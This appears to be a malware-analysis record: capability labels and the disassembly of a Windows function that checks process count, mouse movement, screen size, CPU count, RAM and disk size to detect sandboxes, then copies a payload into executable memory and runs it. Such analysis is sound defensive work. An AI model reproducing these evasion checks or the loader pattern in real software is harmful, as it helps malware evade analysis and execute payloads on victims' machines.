Function at 0x140001330
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x1050]
mov eax, 0x1150
call fcn.140002540
sub rsp, rax
movaps xmmword [rsp + 0x1140], xmm6
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1000], rax
lea r8, [rsp + 0x54]
mov edx, 0x1000
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x54]
and eax, 0xfffffffc
cmp eax, 0xc8
jb 0x1400015c6
movaps xmmword [rsp + 0x1130], xmm7
lea rcx, [rsp + 0x60]
movaps xmmword [rsp + 0x1120], xmm8
movaps xmmword [rsp + 0x1110], xmm9
call qword [sym.imp.USER32.dll_GetCursorPos]
movsd xmm8, qword [0x140003550]
xorps xmm7, xmm7
movsd xmm9, qword [0x140003558]
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x5c]
movaps xmm1, xmm8
sub eax, dword [rsp + 0x64]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
mov eax, dword [rsp + 0x58]
movaps xmm6, xmm0
sub eax, dword [rsp + 0x60]
movaps xmm1, xmm8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
addsd xmm6, xmm0
xorps xmm1, xmm1
ucomisd xmm1, xmm6
ja 0x14000141a
xorps xmm0, xmm0
sqrtsd xmm0, xmm6
jmp 0x140001422
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
mov ecx, 0x64
addsd xmm7, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
comisd xmm7, xmm9
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
jbe 0x1400013c4
movaps xmm9, xmmword [rsp + 0x1110]
xor ecx, ecx
movaps xmm8, xmmword [rsp + 0x1120]
movaps xmm7, xmmword [rsp + 0x1130]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cmp ebx, 0x3e8
jge 0x140001484
cmp eax, 0x3e8
jl 0x1400015c6
mov ecx, 0x50
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea r9, [rsp + 0x50]
mov byte [rsp + 0x50], 0
lea r8, [0x140001220]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
cmp byte [rsp + 0x50], 0
jne 0x1400015c6
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x10], 2
jb 0x1400015c6
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp - 0x68]
shr rax, 0x14
cmp eax, 0x800
jb 0x1400015c6
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rbp - 0x80]
mov eax, dword [rbp - 0x7c]
imul rax, rcx
mov ecx, dword [rsp + 0x7c]
imul rax, rcx
imul rax, qword [rsp + 0x70]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0xfa
jb 0x1400015c6
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x1160], rdi
call section..text
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
movups xmm6, xmmword [rax]
mov eax, dword [rax + 8]
mov edx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
movq rdx, xmm6
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
call rdi
mov rdi, qword [rsp + 0x1160]
xor eax, eax
mov rcx, qword [rbp + 0x1000]
xor rcx, rsp
call fcn.140001600
mov rbx, qword [rsp + 0x1168]
movaps xmm6, xmmword [rsp + 0x1140]
add rsp, 0x1150
pop rbp
ret